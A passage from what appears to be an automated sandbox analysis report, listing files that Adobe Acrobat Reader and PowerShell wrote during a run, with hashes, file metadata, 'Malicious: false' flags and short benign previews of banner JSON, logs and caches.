SHA1:	2DDD7FEA2BDCB1DF0B2542DB9219632BA382F9A5
SHA-256:	0AC7EE2E68232C25FD8E002FF696F63B6B1FCBE9278E74573EBAC4835AED5CBC
SHA-512:	E20B039EEDC521E40720C7BB3AE6B2D80903EBC11F87F18DF5FCD06459259E963E51E81693AED7503F59F7307B86084A448EF169C40B9B13633F390BF0BBB723
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.297610701408459
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJf+dPeUkwRe9:YvXKXcT5LjIPaVwG28Ukee9
MD5:	31EDF14260AA70BA16A91F47D1DF4673
SHA1:	7F2BBE2D0C6271BABFEEEE8071D50EEF3C1029A6
SHA-256:	1045D2BAD239CB99EAE5471C546D99DEAEE9DA47C799997D1FF68018FE63E82A
SHA-512:	ED782CFB8D9A5DE2696C2C72CDE4C86AA6CA6E4BFA35F48A7E7D4E4792E94A9D7CF38A7D11C977E6183D255FADAAF7AEA79BC7E08763EC6BAB28CEDBA3143189
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.295139401982077
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfbPtdPeUkwRe9:YvXKXcT5LjIPaVwGDV8Ukee9
MD5:	6EF076C8B5B8AD1BCF5C9493503D98BE
SHA1:	483311691FD44E999C741B9BD178187F2818813C
SHA-256:	BC6F7BD9AD33A480D398252518803175127501288B9A547875829DE6C086B6F7
SHA-512:	452EC5EF9450216AA44661B123BBA190126281D9D21895DC99779604BB78E0EAB94E14438ECA6433F463F61C90C21B0840E2785E5BCC9A4360171E45E4B42E01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.287671140911841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJf21rPeUkwRe9:YvXKXcT5LjIPaVwG+16Ukee9
MD5:	565B6F0E661DB921BA7347237024B425
SHA1:	45D2077F50ABC839CFE383F9FEAA604B28AF2EF7
SHA-256:	D851543E427E8260D7B1E7F3366F4423D1445AB6E7ED1D833D54F089433FF8AF
SHA-512:	A05DF25FB3BFF08B9F7889477E077D72E3E863F1739D2F4D64D4558854C7DD299E390FD9BE250D28DB7EEA1BC4A5C5AF2A6E6EF4D0618897E16928788D0B7A39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6712214619969945
Encrypted:	false
SSDEEP:	24:Yv6XcT5XIC/amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS/:YvdXBXBgkDMUJUAh8cvM/
MD5:	0F57FFAD0CFEDE2AD76DC05FCD4D7E32
SHA1:	6D7787F6974B8DBFABCCF598CCE477890682EFB4
SHA-256:	DCFF327755C366516008E8A48FD5CD19B35025C17A0CB1A666863BB0EF5955E5
SHA-512:	0DC6B655CE4E5A33B48FA82A9A79EB5CFADB32FBA6773A5D91FAF58E5F820E8F5A223160935061CAC98F4C402612071B5423E9E580FBDE2A79BC964079130DEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.259696314208774
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJfshHHrPeUkwRe9:YvXKXcT5LjIPaVwGUUUkee9
MD5:	65AE871C8C364CD6602D5097F798DC2D
SHA1:	99D9A6CA757DA2441668A5F903D1FB3F24C0C6CB
SHA-256:	22D0586DFC37B42FE98846192CC2C8BB0AFFCFB1405D91B8420970AD521E3E67
SHA-512:	B47E36D89D04C6D45090697852AAB2C62DB042E35FD3177CB64BF3424EDEC98898833ABF458EAF2B0491829F7D9EAC5249FFCF90FCFCA19780C68A503A475BE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261439946115432
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWp4mSg1c2LjcWkHvR0Y+VLDoAvJTqgFCrPeUkwRe9:YvXKXcT5LjIPaVwGTq16Ukee9
MD5:	EE09D14A9DF58A53582036EF32481FA7
SHA1:	763AFB9B8D58139CF1CA238BD543F9DFBD80D082
SHA-256:	64779CD51BED752AB8215FD2CDE3DE8FEC8AEAEBBBFDD56DEA3ABB88E6CE5CD8
SHA-512:	5373FC347DBDC2EFEEE692AD52FFD5C7EEAF5BBCC30AA74F7C0D7207BD20D7C4AAC69BADB7C3A2AB905F4214E616E8C7990B49C1A43482F2185E0AA914C16492
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"42d1ca68-61dd-42b0-b3aa-fb2813252c11","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736748700761,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13691866777274
Encrypted:	false
SSDEEP:	48:YUOe3MNG4XyEkpDs6BtEiNZSgMQt81c9GHl:J13MNGyt6BOdgMyKSEl
MD5:	DCB7D39DB1B0EEAB6FB45CC69CAFC695
SHA1:	A8FF8DDCD6BB80C869012767C81CF6606973BC45
SHA-256:	3662CE13EDB6CED984CEF08FE4D42D4D5367780183409FEEF86C2EDE1300F80E
SHA-512:	548CE44C56238F1AF1F605FA274AC321845D378C167B1E030BFDC9654D17C313E2684F219D0D209DAB53459A9B82BEE8B65EAF0CC53A2F4C5066EA6FDE850D28
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"aaafe2bb1524938c94f8b00cc22481e9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736573095000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a5b4baba40792642e55dc2278fc31ed8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736573095000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e2ab0c226a0c9e06236393ea1e0fbdbd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736573095000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7c1eba49309fa43418ffd7feb5c1347e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736573095000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9f53ac9ddecf7ba466b0725f53e5a182","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736573095000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9c1703ed7988f639cf0e6c2cb52b8dfb","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3651116119488131
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuU4XKdqEKfS8EKfM1ba84F:Tll2GL7msMcKTlS8fcsuU3fI8k
MD5:	BC73A3C59ADCEE30584F9D0B303AB3B7
SHA1:	C333587E0CE912F3827C3D5F078FB8393F007D27
SHA-256:	15133F3C37DDAB54EE094EF8575433ED251EE20D45AE8F6E9F550629D15637AD
SHA-512:	2CD5C66F14B5AC3607E9FF6302910FFBD368807A70FD5DE0B178A67E6547E376A32DE5D1F34AF95EE59122332307ACD07478265B1249447089AAA5490A6A87BB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8416875034921836
Encrypted:	false
SSDEEP:	24:7+twZ6bqyKn6ylSTofcNqDuU4+KdqEKfS8EKfM1banbqMlfqLKufx/XYKQvGJF7w:7M+cKTlS8fcsuUCfIFfqGufl2GL7mss
MD5:	6E20D52E6C5D99FDF689852C82A5CDFC
SHA1:	897039808860CD5FB97A915DAAEE7980A5E22973
SHA-256:	3004FBF6A6F768A836146E5A748EC39EC85BE6BBEE50E5F6079BAB0EBA4E3E0D
SHA-512:	FC516032FED7913D476672874079720296094D3276D56F9C15FC718727D7EE51F638BA4727CE03790BC6FFDCA929BF8FF57F7DFB8608C6124535420BD02D2C2C
Malicious:	false
Preview:	.... .c.....8............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgyZ6qSzSfoKFTADefRf31khPbYyu:6a6TZ44ADEyZJS2fPxXkBbK
MD5:	D16AB9151B7790E7317E8B39FD459099
SHA1:	9058BD4739A93E81278C4A6327BF900225BC2A0F
SHA-256:	7A0F3087404253514CF4E9D8288A855AB5224BFC0A9C1C99970986A5CDEC9816
SHA-512:	77C3817784D7E684D1ABE98F9DCDCA5D1F70640C578C2840E1B9AE80FD64A40B6D8E7E655FBDB9EC61B0DC2376E26557972359E7A7307CE6A1650440B4F8D288
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIb9e35.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClB:Qw946cPbiOxDlbYnuRKd8
MD5:	9D20F6FD698AC835532A38691980A6DF
SHA1:	DDA2EDAD83A420AC4E82299F20B8FE718D1C6C9E
SHA-256:	F93830A202F1781EE64075047C26829695ECFF78A1F3DD3A90D76D4DF6AF1185
SHA-512:	A4C9CA44E6B75AC0EACF84E3074AEC423C6BD0888AF29B5D9EF8AE75930099D3667271CFA6059EE41598967B354BEB7A83872EC57F9913D0C832E56B07A5C2FE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.2.4.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3pgdryaf.0lc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dtwea0qy.qln.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-24-48-113.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.338689573547617
Encrypted:	false
SSDEEP:	384:hi0m93Ev7M5YOOAgvZsx8ytdpufb/aOtzkucSOyiz774a406MBc2c9cZoYehN0Eu:FYt
MD5:	CE6D8B48D974B081EEED668A0F2BB78D
SHA1:	815C3CC4F68A4D0682F7C03D7828549ACB06241E
SHA-256:	A03341F51457897F2B3802EF8C5A6349F7444F455AC15CC7423061756A13B0CB
SHA-512:	CBEDF9FE404D9B35E9B2221F24F060F72BA1583AD8EEBC8CEE01C8294819AFC2F226413A26E6E1EC7A8D16F83530D84ADC009917D60BE0C12189E25E195A00C6
Malicious:	false
Preview:	SessionID=5fc706d5-0ed9-4fee-80ff-75f7e33e7999.1736573088142 Timestamp=2025-01-11T00:24:48:142-0500 ThreadID=1876 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5fc706d5-0ed9-4fee-80ff-75f7e33e7999.1736573088142 Timestamp=2025-01-11T00:24:48:162-0500 ThreadID=1876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5fc706d5-0ed9-4fee-80ff-75f7e33e7999.1736573088142 Timestamp=2025-01-11T00:24:48:162-0500 ThreadID=1876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5fc706d5-0ed9-4fee-80ff-75f7e33e7999.1736573088142 Timestamp=2025-01-11T00:24:48:163-0500 ThreadID=1876 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5fc706d5-0ed9-4fee-80ff-75f7e33e7999.1736573088142 Timestamp=2025-01-11T00:24:48:163-0500 ThreadID=1876 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.379284339934739
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmzcbEICkcbR:8qnXopZ50r+Cb
MD5:	E6EBDD3D7179C497D432077D358CC88E
SHA1:	E24E3E4020E3012C88A2A24BBA6697481F2B9603
SHA-256:	ECB285D61DA9B42CD9BCBD1E33C7EE0253189D34E7E4693A5B2318F2083D2F0A
SHA-512:	37AA89E8FC309CC06A62100BE8E1665C9D790BC621AEAE788F694CDE1C769BAAD143A4BC6B8348100B3CAC1E5D1F3892AF4F0D8B1B824F7160DA5B9429183AAD
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4ba27df6-c932-46f2-9b5c-0bbe5791816f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/bwYIGNP4mOWL07oYGZjdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:DwZG6bWLxYGZz3mlind9i4ufFXpAXkrj
MD5:	E16BA4292A077921237A56811BB2B82C
SHA1:	48D6669F9057DFFB914D777C82CFB21537DCB282
SHA-256:	19A09F17F926115B7A67902312D9F7D4F737E759BDB95184FF8BE8E3AD69CDEC
SHA-512:	C4CE6278A02EA828F204D12CF7DE13211A79572E599BF98C4C443F6ABF407AB309E32F1E5C22B5AC085994849A03064CAAE84A753A7E99427774EB5C6BD698D3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9a13b9d1-937b-420a-a8f5-b1521a358ee4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
